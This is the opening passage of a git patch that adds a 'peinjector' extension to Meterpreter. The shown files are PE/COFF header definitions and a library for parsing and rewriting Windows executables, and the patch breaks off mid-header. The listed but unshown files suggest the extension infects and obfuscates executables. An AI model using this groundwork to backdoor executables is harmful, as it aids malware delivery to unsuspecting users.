From cf807f5004bb03e86297e6a779331266b54e4773 Mon Sep 17 00:00:00 2001 From: alpiste Date: Tue, 19 Sep 2017 17:04:46 -0700 Subject: [PATCH] add peinjector --- .../source/extensions/peinjector/headers.h | 211 +++++ .../source/extensions/peinjector/libpefile.c | 619 +++++++++++++ .../source/extensions/peinjector/libpefile.h | 129 +++ .../extensions/peinjector/libpeinfect.c | 819 ++++++++++++++++++ .../extensions/peinjector/libpeinfect.h | 254 ++++++ .../peinjector/libpeinfect_obfuscator.c | 699 +++++++++++++++ .../peinjector/libpeinfect_obfuscator.h | 34 + .../source/extensions/peinjector/libpetool.c | 399 +++++++++ .../source/extensions/peinjector/libpetool.h | 41 + .../source/extensions/peinjector/peinjector.c | 44 + .../source/extensions/peinjector/peinjector.h | 20 + .../extensions/peinjector/peinjector_bridge.c | 98 +++ .../extensions/peinjector/peinjector_bridge.h | 10 + .../ext_server_peinjector.vcxproj | 309 +++++++ c/meterpreter/workspace/meterpreter.sln | 14 +- 15 files changed, 3698 insertions(+), 2 deletions(-) create mode 100755 c/meterpreter/source/extensions/peinjector/headers.h create mode 100755 c/meterpreter/source/extensions/peinjector/libpefile.c create mode 100755 c/meterpreter/source/extensions/peinjector/libpefile.h create mode 100755 c/meterpreter/source/extensions/peinjector/libpeinfect.c create mode 100755 c/meterpreter/source/extensions/peinjector/libpeinfect.h create mode 100755 c/meterpreter/source/extensions/peinjector/libpeinfect_obfuscator.c create mode 100755 c/meterpreter/source/extensions/peinjector/libpeinfect_obfuscator.h create mode 100755 c/meterpreter/source/extensions/peinjector/libpetool.c create mode 100755 c/meterpreter/source/extensions/peinjector/libpetool.h create mode 100755 c/meterpreter/source/extensions/peinjector/peinjector.c create mode 100755 c/meterpreter/source/extensions/peinjector/peinjector.h create mode 100755 c/meterpreter/source/extensions/peinjector/peinjector_bridge.c create mode 100755 c/meterpreter/source/extensions/peinjector/peinjector_bridge.h create mode 100755 c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj diff --git a/c/meterpreter/source/extensions/peinjector/headers.h b/c/meterpreter/source/extensions/peinjector/headers.h new file mode 100755 index 00000000..b2f663da --- /dev/null +++ b/c/meterpreter/source/extensions/peinjector/headers.h @@ -0,0 +1,211 @@ +/** + * \file headers.h + * \brief PE COFF constants and structures + */ + +#ifndef DEF_HEADERS_H_ +#define DEF_HEADERS_H_ +#include +#include + +#define NT_FILE_ALIGNMENT 0x200 +#define NT_SECTION_ALIGNMENT 0x1000 + +#define NT_SHORT_NAME_LEN 8 + +#define MZ_MAGIC 0x5A4D +#define NT_MAGIC 0x00004550 + +#define NT_OPTIONAL_32_MAGIC 0x10B +#define NT_OPTIONAL_64_MAGIC 0x20B + +#define NT_OPTIONAL_MAXSECTIONS 0x10 + +#define DIR_EXPORT 0 +#define DIR_IMPORT 1 +#define DIR_RESOURCE 2 +#define DIR_EXCEPTION 3 +#define DIR_SECURITY 4 +#define DIR_BASERELOC 5 +#define DIR_DEBUG 6 +#define DIR_ARCHITECTURE 7 +#define DIR_GLOBALPTR 8 +#define DIR_TLS 9 +#define DIR_LOAD_CONFIG 10 +#define DIR_BOUND_IMPORT 11 +#define DIR_IAT 12 +#define DIR_DELAY_IMPORT 13 +#define DIR_COM_DESCRIPTOR 14 + +#define IMAGE_FILE_DLL 0x2000 + +#define IMAGE_SCN_TYPE_NO_PAD 0x00000008 +#define IMAGE_SCN_CNT_CODE 0x00000020 +#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 +#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 +#define IMAGE_SCN_LNK_OTHER 0x00000100 +#define IMAGE_SCN_LNK_INFO 0x00000200 +#define IMAGE_SCN_LNK_REMOVE 0x00000800 +#define IMAGE_SCN_LNK_COMDAT 0x00001000 +#define IMAGE_SCN_NO_DEFER_SPEC_EXC 0x00004000 +#define IMAGE_SCN_GPREL 0x00008000 +#define IMAGE_SCN_MEM_FARDATA 0x00008000 +#define IMAGE_SCN_MEM_PURGEABLE 0x00020000 +#define IMAGE_SCN_MEM_16BIT 0x00020000 +#define IMAGE_SCN_MEM_LOCKED 0x00040000 +#define IMAGE_SCN_MEM_PRELOAD 0x00080000 +#define IMAGE_SCN_ALIGN_1BYTES 0x00100000 +#define IMAGE_SCN_ALIGN_2BYTES 0x00200000 +#define IMAGE_SCN_ALIGN_4BYTES 0x00300000 +#define IMAGE_SCN_ALIGN_8BYTES 0x00400000 +#define IMAGE_SCN_ALIGN_16BYTES 0x00500000 +#define IMAGE_SCN_ALIGN_32BYTES 0x00600000 +#define IMAGE_SCN_ALIGN_64BYTES 0x00700000 +#define IMAGE_SCN_ALIGN_128BYTES 0x00800000 +#define IMAGE_SCN_ALIGN_256BYTES 0x00900000 +#define IMAGE_SCN_ALIGN_512BYTES 0x00A00000 +#define IMAGE_SCN_ALIGN_1024BYTES 0x00B00000 +#define IMAGE_SCN_ALIGN_2048BYTES 0x00C00000 +#define IMAGE_SCN_ALIGN_4096BYTES 0x00D00000 +#define IMAGE_SCN_ALIGN_8192BYTES 0x00E00000 +#define IMAGE_SCN_ALIGN_MASK 0x00F00000 +#define IMAGE_SCN_LNK_NRELOC_OVFL 0x01000000 +#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 +#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 +#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000 +#define IMAGE_SCN_MEM_SHARED 0x10000000 +#define IMAGE_SCN_MEM_EXECUTE 0x20000000 +#define IMAGE_SCN_MEM_READ 0x40000000 +#define IMAGE_SCN_MEM_WRITE 0x80000000 + +#define IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 0x0040 +#define IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY 0x0080 +#define IMAGE_DLL_CHARACTERISTICS_NX_COMPAT 0x0100 +#define IMAGE_DLLCHARACTERISTICS_NO_ISOLATION 0x0200 +#define IMAGE_DLLCHARACTERISTICS_NO_SEH 0x0400 +#define IMAGE_DLLCHARACTERISTICS_NO_BIND 0x0800 +#define IMAGE_DLLCHARACTERISTICS_WDM_DRIVER 0x2000 +#define IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE 0x8000 + +typedef struct _DOS_HEADER { + uint16_t e_magic; + uint16_t e_cblp; + uint16_t e_cp; + uint16_t e_crlc; + uint16_t e_cparhdr; + uint16_t e_minalloc; + uint16_t e_maxalloc; + uint16_t e_ss; + uint16_t e_sp; + uint16_t e_csum; + uint16_t e_ip; + uint16_t e_cs; + uint16_t e_lfarlc; + uint16_t e_ovno; + uint16_t e_res[4]; + uint16_t e_oemid; + uint16_t e_oeminfo; + uint16_t e_res2[10]; + uint32_t e_lfanew; +} DOS_HEADER; + +typedef struct _PE_HEADER { + uint32_t Signature; + uint16_t Machine; + uint16_t NumberOfSections; + uint32_t TimeDateStamp; + uint32_t PointerToSymbolTable; + uint32_t NumberOfSymbols; + uint16_t SizeOfOptionalHeader; + uint16_t Characteristics; +} PE_HEADER; + +typedef struct _DATA_DIRECTORY { + uint32_t VirtualAddress; + uint32_t Size; +} DATA_DIRECTORY; + +typedef struct _OPTIONAL_HEADER_32 { + uint16_t Magic; + uint8_t MajorLinkerVersion; + uint8_t MinorLinkerVersion; + uint32_t SizeOfCode; + uint32_t SizeOfInitializedData; + uint32_t SizeOfUninitializedData; + uint32_t AddressOfEntryPoint; + uint32_t BaseOfCode; + uint32_t BaseOfData; + uint32_t ImageBase; + uint32_t SectionAlignment; + uint32_t FileAlignment; + uint16_t MajorOperatingSystemVersion; + uint16_t MinorOperatingSystemVersion; + uint16_t MajorImageVersion; + uint16_t MinorImageVersion; + uint16_t MajorSubsystemVersion; + uint16_t MinorSubsystemVersion; + uint32_t Win32VersionValue; + uint32_t SizeOfImage; + uint32_t SizeOfHeaders; + uint32_t CheckSum; + uint16_t Subsystem; + uint16_t DllCharacteristics; + uint32_t SizeOfStackReserve; + uint32_t SizeOfStackCommit; + uint32_t SizeOfHeapReserve; + uint32_t SizeOfHeapCommit; + uint32_t LoaderFlags; + uint32_t NumberOfRvaAndSizes; + DATA_DIRECTORY DataDirectory[NT_OPTIONAL_MAXSECTIONS]; +} OPTIONAL_HEADER_32; + +typedef struct _OPTIONAL_HEADER_64 { + uint16_t Magic; + uint8_t MajorLinkerVersion; + uint8_t MinorLinkerVersion; + uint32_t SizeOfCode; + uint32_t SizeOfInitializedData; + uint32_t SizeOfUninitializedData; + uint32_t AddressOfEntryPoint; + uint32_t BaseOfCode; + uint64_t ImageBase; + uint32_t SectionAlignment; + uint32_t FileAlignment; + uint16_t MajorOperatingSystemVersion; + uint16_t MinorOperatingSystemVersion; + uint16_t MajorImageVersion; + uint16_t MinorImageVersion; + uint16_t MajorSubsystemVersion; + uint16_t MinorSubsystemVersion; + uint32_t Win32VersionValue; + uint32_t SizeOfImage; + uint32_t SizeOfHeaders; + uint32_t CheckSum; + uint16_t Subsystem; + uint16_t DllCharacteristics; + uint64_t SizeOfStackReserve; + uint64_t SizeOfStackCommit; + uint64_t SizeOfHeapReserve; + uint64_t SizeOfHeapCommit; + uint32_t LoaderFlags; + uint32_t NumberOfRvaAndSizes; + DATA_DIRECTORY DataDirectory[NT_OPTIONAL_MAXSECTIONS]; +} OPTIONAL_HEADER_64; + +typedef struct _SECTION_HEADER { + uint8_t Name[NT_SHORT_NAME_LEN]; + union { + uint32_t PhysicalAddress; + uint32_t VirtualSize; + } Misc; + uint32_t VirtualAddress; + uint32_t SizeOfRawData; + uint32_t PointerToRawData; + uint32_t PointerToRelocations; + uint32_t PointerToLinenumbers; + uint16_t NumberOfRelocations; + uint16_t NumberOfLinenumbers; + uint32_t Characteristics; +} SECTION_HEADER; + +#endif /* DEF_HEADERS_H_ */ diff --git a/c/meterpreter/source/extensions/peinjector/libpefile.c b/c/meterpreter/source/extensions/peinjector/libpefile.c new file mode 100755 index 00000000..95221f71 --- /dev/null +++ b/c/meterpreter/source/extensions/peinjector/libpefile.c @@ -0,0 +1,619 @@ +/* + * \file libpefile.c + * \brief Manages disassembly and reassembly of the PE COFF File Format + */ + +#include +#include +#include +#include "libpefile.h" + +/* Min/Max Macros */ +#define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b)) +#define MAX(_a, _b) ((_a) > (_b) ? (_a) : (_b)) + +/* Calculate raw size of image an validates positions and sizes. Returns 0 on error */ +static size_t __pefile_calculate_raw_size(PEFILE *in, PEFILE_WRITE_OPTIONS *options) { + size_t i = 0; + size_t ii = 0; + size_t additional_end, section_end; + + /* Raw size of Headers and padding */ + size_t size = in->dos_header.e_lfanew + sizeof(PE_HEADER) + in->pe_header.SizeOfOptionalHeader + + in->pe_header.NumberOfSections * sizeof(SECTION_HEADER) + in->header_padding.memsize; + + /* Calculate header size only */ + if (options && options->header_only) { + + /* If additional data is forced we need to add this size too. In this case, only 1 additional data + * segment is allowed, and only if it's directly after the raw header (happens when parsing a + * truncated pe file with header_only option) */ + if (options->force_additional) { + if (in->additional_count > 1 || ((in->additional_count > 0) && (in->additional_data == NULL))) { + return 0; + } else if (in->additional_count > 0) { + if (size == in->additional_data[0].position) { + size += in->additional_data[0].memsize; + } else { + return 0; + } + } + } + return size; + } + + /* Validate & add all Section sizes */ + if ((in->pe_header.NumberOfSections > 0) && (in->section_header == NULL)) { + return 0; + } + for (i = 0; i < in->pe_header.NumberOfSections; ++i) { + /* Nested sections */ + for (ii = 0; ii < in->pe_header.NumberOfSections; ++ii) { + if ((i != ii) && (in->section_header[ii].PointerToRawData <= in->section_header[i].PointerToRawData) + && ((in->section_header[ii].PointerToRawData + in->section_header[ii].SizeOfRawData) + >= (in->section_header[i].PointerToRawData + in->section_header[i].SizeOfRawData))) { + size -= in->section_header[i].SizeOfRawData; + } + } + size += in->section_header[i].SizeOfRawData; + } + + /* Validate & add all additional data */ + if ((in->additional_count > 0) && (in->additional_data == NULL)) { + return 0; + } + for (i = 0; i < in->additional_count; ++i) { + size += in->additional_data[i].memsize; + } + + /* Validate additional data positions */ + for (i = 0; i < in->additional_count; ++i) { + if ((in->additional_data[i].position + in->additional_data[i].memsize) > size) { + return 0; + + } else { + /* If additional data starts or ends inside section something is wrong */ + additional_end = in->additional_data[i].position + in->additional_data[i].memsize; + for (ii = 0; ii < in->pe_header.NumberOfSections; ++ii) { + section_end = in->section_header[ii].PointerToRawData + in->section_header[ii].SizeOfRawData; + if (((in->additional_data[i].position >= in->section_header[ii].PointerToRawData) + && in->additional_data[i].position < section_end) + || ((additional_end > in->section_header[ii].PointerToRawData) && additional_end < section_end)) { + return 0; + } + } + } + } + + /* Validate Section positions */ + for (i = 0; i < in->pe_header.NumberOfSections; ++i) { + if ((in->section_header[i].PointerToRawData + in->section_header[i].SizeOfRawData) > size) { + return 0; + } + } + + return size; +} + +/* Adds additional data to an pe file structure. Return true on success, false otherwise*/ +static bool __pefile_add_additional_data(unsigned char *mem, size_t position, size_t size, PEFILE *out) { + DATA_BLOB_EX *newAdditional = NULL; + + out->additional_count++; + newAdditional = realloc(out->additional_data, out->additional_count * sizeof(DATA_BLOB_EX)); + + /* Couldn't allocate memory */ + if (newAdditional == NULL) { + return false; + } + out->additional_data = newAdditional; + out->additional_data[out->additional_count - 1].position = position; + out->additional_data[out->additional_count - 1].memsize = size; + out->additional_data[out->additional_count - 1].mem = malloc(out->additional_data[out->additional_count - 1].memsize); + + /* Couldn't allocate memory */ + if (out->additional_data[out->additional_count - 1].mem == NULL) { + return false; + } + memcpy(out->additional_data[out->additional_count - 1].mem, + mem + out->additional_data[out->additional_count - 1].position, + out->additional_data[out->additional_count - 1].memsize); + + return true; +} + +bool pefile_read_mem(unsigned char *mem, size_t memsize, PEFILE_READ_OPTIONS *options, PEFILE *out) { + DOS_HEADER *dHead = NULL; + PE_HEADER *pHead = NULL; + OPTIONAL_HEADER_32 *oHead32 = NULL; + OPTIONAL_HEADER_64 *oHead64 = NULL; + SECTION_HEADER *firstsHead = NULL; + unsigned char *dos_stub = NULL; + size_t dos_stubsize = 0; + size_t header_raw_end = 0; + size_t header_padding_end = 0; + size_t additional_end = 0; + size_t additional_start = 0; + size_t gap_start = 0; + size_t gap_size = 0; + size_t i = 0; + size_t ii = 0; + + /* Zero first */ + memset(out, 0, sizeof(PEFILE)); + + /* DOS Header Magic OK & Size OK */ + dHead = (DOS_HEADER*) mem; + if ((memsize < sizeof(DOS_HEADER)) || (dHead->e_magic != MZ_MAGIC)) { + return false; + } + + /* PE Header Magic OK & Size OK) */ + pHead = (PE_HEADER *) (mem + dHead->e_lfanew); + if ((memsize < dHead->e_lfanew + sizeof(PE_HEADER)) || (pHead->Signature != NT_MAGIC)) { + return false; + } + + /* Save DOS Stub */ + /* Sometimes there is no DOS Stub, the PE Header can be inside the DOS Header */ + if (dHead->e_lfanew >= sizeof(DOS_HEADER) && (dHead->e_lfanew - sizeof(DOS_HEADER) > 0)) { + dos_stub = mem + sizeof(DOS_HEADER); + dos_stubsize = dHead->e_lfanew - sizeof(DOS_HEADER); + } + + /* Optional Header Magic OK & Size OK */ + oHead32 = (OPTIONAL_HEADER_32 *) (mem + dHead->e_lfanew + sizeof(PE_HEADER)); + oHead64 = (OPTIONAL_HEADER_64 *) oHead32; + if (pHead->SizeOfOptionalHeader > 0) { + if ((memsize < ((size_t) oHead32 - (size_t) mem) + pHead->SizeOfOptionalHeader) + || ((oHead32->Magic != NT_OPTIONAL_32_MAGIC) && (oHead64->Magic != NT_OPTIONAL_64_MAGIC))) { + return false; + } + } + + /* Section Table. Size Ok? */ + if (memsize + < (dHead->e_lfanew + sizeof(PE_HEADER) + pHead->SizeOfOptionalHeader + + pHead->NumberOfSections * sizeof(SECTION_HEADER))) { + return false; + } else { + firstsHead = (SECTION_HEADER *) (mem + dHead->e_lfanew + sizeof(PE_HEADER) + pHead->SizeOfOptionalHeader); + } + + /* Find real end of Header padding (Packers doing some shit with that ...) */ + /* Raw end and padding end defined in Optional Header*/ + header_raw_end = dHead->e_lfanew + sizeof(PE_HEADER) + pHead->SizeOfOptionalHeader + + pHead->NumberOfSections * sizeof(SECTION_HEADER); + if (oHead32->Magic == NT_OPTIONAL_32_MAGIC) { + header_padding_end = oHead32->SizeOfHeaders; + } else { + header_padding_end = oHead64->SizeOfHeaders; + } + + /* Section starting inside padding */ + for (i = 0; i < pHead->NumberOfSections; ++i) { + if ((firstsHead[i].SizeOfRawData > 0) && firstsHead[i].PointerToRawData < header_padding_end) { + /* Section inside Header */ + if (firstsHead[i].PointerToRawData < header_raw_end) { + return false; + } + header_padding_end = firstsHead[i].PointerToRawData; + } + } + + /* Header Padding in virtual space */ + if (header_padding_end > memsize) { + header_padding_end = memsize; + /* But must go till Section 0 */ + } else if ((pHead->NumberOfSections > 0) && header_padding_end < firstsHead[0].PointerToRawData) { + header_padding_end = firstsHead[0].PointerToRawData; + } + + /* Copy DOS & PE Header*/ + memcpy(&out->dos_header, dHead, sizeof(DOS_HEADER)); + memcpy(&out->pe_header, pHead, sizeof(PE_HEADER)); + + /* Copy DOS Stub */ + if (dos_stub != NULL) { + out->dos_stub.mem = malloc(dos_stubsize); + out->dos_stub.memsize = dos_stubsize; + memcpy(out->dos_stub.mem, dos_stub, dos_stubsize); + } + + /* Copy Optional Header */ + if (pHead->SizeOfOptionalHeader > 0) { + if (oHead32->Magic == NT_OPTIONAL_32_MAGIC) { + memcpy(&out->optional_header_32, oHead32, MIN(pHead->SizeOfOptionalHeader, sizeof(OPTIONAL_HEADER_32))); + + /* Rare: Gap between Optional Header an Section Table */ + if (pHead->SizeOfOptionalHeader > sizeof(OPTIONAL_HEADER_32)) { + gap_start = dHead->e_lfanew + sizeof(PE_HEADER) + sizeof(OPTIONAL_HEADER_32); + gap_size = pHead->SizeOfOptionalHeader - sizeof(OPTIONAL_HEADER_32); + } + } else { + memcpy(&out->optional_header_64, oHead64, MIN(pHead->SizeOfOptionalHeader, sizeof(OPTIONAL_HEADER_64))); + + /* Rare: Gap between Optional Header an Section Table */ + if (pHead->SizeOfOptionalHeader > sizeof(OPTIONAL_HEADER_64)) { + gap_start = dHead->e_lfanew + sizeof(PE_HEADER) + sizeof(OPTIONAL_HEADER_64); + gap_size = pHead->SizeOfOptionalHeader - sizeof(OPTIONAL_HEADER_64); + } + } + + /* Copy gap data if needed */ + if (gap_start > 0) { + out->optional_header_gap.memsize = gap_size; + out->optional_header_gap.mem = malloc(gap_size); + + /* Couldn't allocate memory */ + if (out->optional_header_gap.mem == NULL) { + pefile_free(out); + return false; + } + memcpy(out->optional_header_gap.mem, mem + gap_start, gap_size); + } + } + + /* Copy Section Headers & Sections */ + if (firstsHead != NULL && pHead->NumberOfSections > 0) { + out->section_header = malloc(pHead->NumberOfSections * sizeof(SECTION_HEADER)); + + /* Couldn't allocate memory */ + if (out->section_header == NULL) { + pefile_free(out); + return false; + } + memcpy(out->section_header, firstsHead, pHead->NumberOfSections * sizeof(SECTION_HEADER)); + + /* Only if full analysis */ + if ((options == NULL) || ((options != NULL) && !options->header_only)) { + /* Copy Sections & Additional Data */ + out->section_data = malloc(pHead->NumberOfSections * sizeof(DATA_BLOBC)); + for (i = 0; i < pHead->NumberOfSections; ++i) { + if (firstsHead[i].SizeOfRawData) { + out->section_data[i].memsize = firstsHead[i].SizeOfRawData; + out->section_data[i].mem = malloc(out->section_data[i].memsize); + + /* Couldn't allocate memory */ + if (out->section_data[i].mem == NULL) { + pefile_free(out); + return false; + } + memcpy(out->section_data[i].mem, mem + firstsHead[i].PointerToRawData, out->section_data[i].memsize); + + /* Find additional Data between sections */ + additional_start = firstsHead[i].PointerToRawData + firstsHead[i].SizeOfRawData; + additional_end = memsize; + for (ii = 0; ii < pHead->NumberOfSections; ++ii) { + if (i == ii) { + continue; + } + if (firstsHead[ii].PointerToRawData == additional_start) { + additional_end = additional_start; + break; + } else if ((firstsHead[ii].PointerToRawData > additional_start) + && (firstsHead[ii].PointerToRawData < additional_end)) { + additional_end = firstsHead[ii].PointerToRawData; + /* nested sections */ + } else if ((firstsHead[ii].PointerToRawData <= firstsHead[i].PointerToRawData) + && ((firstsHead[ii].PointerToRawData + firstsHead[ii].SizeOfRawData) >= additional_start)) { + additional_end = additional_start; + break; + } + } + + /* Additional data found */ + if ((additional_start != additional_end) + && !__pefile_add_additional_data(mem, additional_start, additional_end - additional_start, out)) { + + /* Something went wrong, terminate */ + pefile_free(out); + return false; + } + + } + } + + /* Force add data (everything after header, useful for truncated pe files + * which shall be reassembled later */ + } else if (options->force_additional && (memsize - header_padding_end > 0) + && !__pefile_add_additional_data(mem, header_padding_end, memsize - header_padding_end, out)) { + + /* Something went wrong, terminate */ + pefile_free(out); + return false; + } + + } else if ((options != NULL) && !(options->header_only && !options->force_additional)) { + /* No Sections: Everything else is additional */ + if ((memsize - header_padding_end) > 0 + && !__pefile_add_additional_data(mem, header_padding_end, memsize - header_padding_end, out)) { + + /* Something went wrong, terminate */ + pefile_free(out); + return false; + } + + } + + /* Copy real Header Padding */ + out->header_padding.position = header_raw_end; /* Won't be used for building, just a shortcut to real header size */ + if (header_padding_end - header_raw_end > 0) { + out->header_padding.memsize = header_padding_end - header_raw_end; + out->header_padding.mem = malloc(out->header_padding.memsize); + memcpy(out->header_padding.mem, mem + header_raw_end, out->header_padding.memsize); + } + + return true; +} + +void pefile_init(PEFILE *in) { + memset(in, 0, sizeof(PEFILE)); +} + +bool pefile_read_file(char *file, PEFILE_READ_OPTIONS *options, PEFILE *out) { + bool returnVar = false; + unsigned char *file_mem; + + /* Open file */ + FILE *fh = fopen(file, "rb"); + + if (fh != NULL) { + + /* Get file size and allocate buffer */ + fseek(fh, 0L, SEEK_END); + size_t size = ftell(fh); + size_t read_size = 0; + rewind(fh); + file_mem = malloc(size); + + if (file_mem != NULL) { + /* Load file into buffer */ + read_size = fread(file_mem, size, 1, fh); + fclose(fh); + fh = NULL; + + /* Process PE file in memory */ + if (read_size == 1) { + returnVar = pefile_read_mem(file_mem, size, options, out); + } + + /* free buffer after use */ + free(file_mem); + } + + /* Close file (if memory allocation has failed) */ + if (fh != NULL) { + fclose(fh); + } + } + + return returnVar; +} + +bool pefile_write_mem(PEFILE *in, PEFILE_WRITE_OPTIONS *options, unsigned char **mem, size_t *memsize) { + size_t position = 0; + size_t i = 0; + uint64_t checksum = 0; + uint64_t top = 0xffffffff + 0x01; + size_t gap_start = 0; + size_t gap_size = 0; + + /* Allocate needed memory */ + *memsize = __pefile_calculate_raw_size(in, options); + + /* Try allocate memory */ + if (*memsize > 0) { + *mem = malloc(*memsize); + + /* Couldn't allocate memory */ + if (mem == NULL) { + return false; + } + } else { + return false; + } + + /* Write DOS Header*/ + memcpy(*mem, &in->dos_header, sizeof(DOS_HEADER)); + + /* Write PE Header */ + position = in->dos_header.e_lfanew; + memcpy(*mem + position, &in->pe_header, sizeof(PE_HEADER)); + + /* Write DOS Stub if needed */ + if (in->dos_stub.memsize) { + position = sizeof(DOS_HEADER); + memcpy(*mem + position, in->dos_stub.mem, in->dos_stub.memsize); + } + + /* Write Optional Header if needed */ + if (in->pe_header.SizeOfOptionalHeader > 0) { + position = in->dos_header.e_lfanew + sizeof(PE_HEADER); + if (in->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) { + memcpy(*mem + position, &in->optional_header_32, + MIN(in->pe_header.SizeOfOptionalHeader, sizeof(OPTIONAL_HEADER_32))); + + /* Rare: Gap between Optional Header an Section Table */ + if (in->pe_header.SizeOfOptionalHeader > sizeof(OPTIONAL_HEADER_32)) { + gap_start = in->dos_header.e_lfanew + sizeof(PE_HEADER) + sizeof(OPTIONAL_HEADER_32); + gap_size = in->pe_header.SizeOfOptionalHeader - sizeof(OPTIONAL_HEADER_32); + } + } else if (in->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC) { + memcpy(*mem + position, &in->optional_header_64, + MIN(in->pe_header.SizeOfOptionalHeader, sizeof(OPTIONAL_HEADER_64))); + + /* Rare: Gap between Optional Header an Section Table */ + if (in->pe_header.SizeOfOptionalHeader > sizeof(OPTIONAL_HEADER_64)) { + gap_start = in->dos_header.e_lfanew + sizeof(PE_HEADER) + sizeof(OPTIONAL_HEADER_64); + gap_size = in->pe_header.SizeOfOptionalHeader - sizeof(OPTIONAL_HEADER_64); + } + } + + /* Fill gap if there is saved data */ + if (gap_start && (in->optional_header_gap.mem != NULL)) { + memcpy(*mem + gap_start, in->optional_header_gap.mem, MIN(gap_size, in->optional_header_gap.memsize)); + } + } + + /* Writes Section Table if needed */ + if (in->pe_header.NumberOfSections > 0) { + position = in->dos_header.e_lfanew + sizeof(PE_HEADER) + in->pe_header.SizeOfOptionalHeader; + memcpy(*mem + position, in->section_header, in->pe_header.NumberOfSections * sizeof(SECTION_HEADER)); + } + + /* Writes Header Padding if needed */ + if ((in->header_padding.mem != NULL) && (in->header_padding.position > 0)) { + position = in->dos_header.e_lfanew + sizeof(PE_HEADER) + in->pe_header.SizeOfOptionalHeader + + in->pe_header.NumberOfSections * sizeof(SECTION_HEADER); + memcpy(*mem + position, in->header_padding.mem, in->header_padding.memsize); + } + + /* Header Only */ + /* Exception: force_additional override */ + if (options != NULL && options->header_only && !options->force_additional) { + return true; + } + + /* Write additional Data */ + if (in->additional_count > 0) { + for (i = 0; i < in->additional_count; ++i) { + if (in->additional_data[i].mem != NULL) { + memcpy(*mem + in->additional_data[i].position, in->additional_data[i].mem, in->additional_data[i].memsize); + } + } + } + + /* Header Only */ + if (options != NULL && options->header_only) { + return true; + } + + /* Write Section Data */ + if (in->section_data != NULL) { + for (i = 0; i < in->pe_header.NumberOfSections; ++i) { + if (in->section_data[i].mem != NULL) { + memcpy(*mem + in->section_header[i].PointerToRawData, in->section_data[i].mem, + MIN(in->section_data[i].memsize, in->section_header[i].SizeOfRawData)); + } + } + } + + /* Recalculate checksum if forced & OptionalHeader is large enough*/ + if ((options != NULL) + && (in->pe_header.SizeOfOptionalHeader > offsetof(OPTIONAL_HEADER_32, CheckSum) + sizeof(uint32_t)) + && options->recaluclate_checksum) { + + /* Position of CheckSum (32/64 Bit position is equal) */ + position = in->dos_header.e_lfanew + sizeof(PE_HEADER) + offsetof(OPTIONAL_HEADER_32, CheckSum); + + /* Calculate checksum for Image */ + for (i = 0; i < *memsize; i += 4) { + if (i == position) { + continue; + } + checksum = (checksum & 0xffffffff) + *(uint32_t *) (*mem + i) + (checksum >> 32); + if (checksum > top) { + checksum = (checksum & 0xffffffff) + (checksum >> 32); + } + } + checksum = (checksum & 0xffff) + (checksum >> 16); + checksum = (checksum) + (checksum >> 16); + checksum = checksum & 0xffff; + checksum += *memsize; + + /* Write checksum*/ + *(uint32_t *) (*mem + position) = checksum; + } + + return true; +} + +bool pefile_write_file(PEFILE *in, PEFILE_WRITE_OPTIONS *options, char* file) { + bool returnVar = false; + unsigned char *mem = NULL; + unsigned char **mem_ref = (unsigned char **) &mem; + size_t memsize = 0; + + /* Open file */ + FILE *fh = fopen(file, "wb"); + + if (fh != NULL) { + + /* Generate PE File memory */ + if (pefile_write_mem(in, options, mem_ref, &memsize)) { + + /* Write to file and verify size */ + returnVar = (fwrite(mem, memsize, 1, fh) == 1) ? true : false; + + /* Free memory */ + free(mem); + } + + /* Close file */ + fclose(fh); + } + + return returnVar; +} + +void pefile_free(PEFILE *in) { + size_t i = 0; + + /* Free DOS stub */ + if (in->dos_stub.mem != NULL) { + free(in->dos_stub.mem); + } + + /* Free Optional Header Gap */ + if (in->optional_header_gap.mem != NULL) { + free(in->optional_header_gap.mem); + } + + /* Free Section Header */ + if (in->section_header != NULL) { + free(in->section_header); + } + + /* Free Header padding */ + if (in->header_padding.mem != NULL) { + free(in->header_padding.mem); + } + + /* Free Section data */ + if (in->section_data != NULL) { + for (i = 0; i < in->pe_header.NumberOfSections; ++i) { + if (in->section_data[i].mem != NULL) { + free(in->section_data[i].mem); + } + } + free(in->section_data); + } + + /* Free additional data*/ + if (in->additional_count && (in->additional_data != NULL)) { + for (i = 0; i < in->additional_count; ++i) { + if (in->additional_data[i].mem != NULL) { + free(in->additional_data[i].mem); + } + } + free(in->additional_data); + } + + /* Zero structure */ + memset(in, 0, sizeof(PEFILE)); +} + +uint16_t get_file_architecture(char * target_executable_path) { + + PEFILE mype; + pefile_init(&mype); + + PEFILE_READ_OPTIONS read_options; + read_options.header_only = true; + + if (pefile_read_file(target_executable_path, &read_options, &mype)) { + return mype.pe_header.Machine; + } + +} \ No newline at end of file diff --git a/c/meterpreter/source/extensions/peinjector/libpefile.h b/c/meterpreter/source/extensions/peinjector/libpefile.h new file mode 100755 index 00000000..0322aa9f --- /dev/null +++ b/c/meterpreter/source/extensions/peinjector/libpefile.h @@ -0,0 +1,129 @@ +/** + * \file libpefile.h + * \brief Manages disassembly and reassembly of the PE COFF File Format + */ + +#ifndef LIBPEFILE_H_ +#define LIBPEFILE_H_ + +#include +#include "headers.h" + +/** + * Hold binary data in pefile structure + */ +typedef struct _DATA_BLOB { + unsigned char *mem; //!< Pointer to memory + size_t memsize; //!< Size of memory +} DATA_BLOBC; + +/** + * Hold binary data and position in pefile structure + */ +typedef struct _DATA_BLOB_EX { + unsigned char *mem; //!< Pointer to memory + size_t memsize; //!< Size of memory + size_t position; //!< Position of memory +} DATA_BLOB_EX; + +/** + * PE File Format + */ +typedef struct _PEFILE { + DOS_HEADER dos_header; //!< DOS Header + PE_HEADER pe_header; //!< PE Header + DATA_BLOBC dos_stub; //!< DOS Stub Program + OPTIONAL_HEADER_32 optional_header_32; //!< Optional Header, 32 Bit + OPTIONAL_HEADER_64 optional_header_64; //!< Optional Header, 64 Bit + DATA_BLOBC optional_header_gap; //!< Gap between Optional Header and Section Headers, rare. + SECTION_HEADER *section_header; //!< 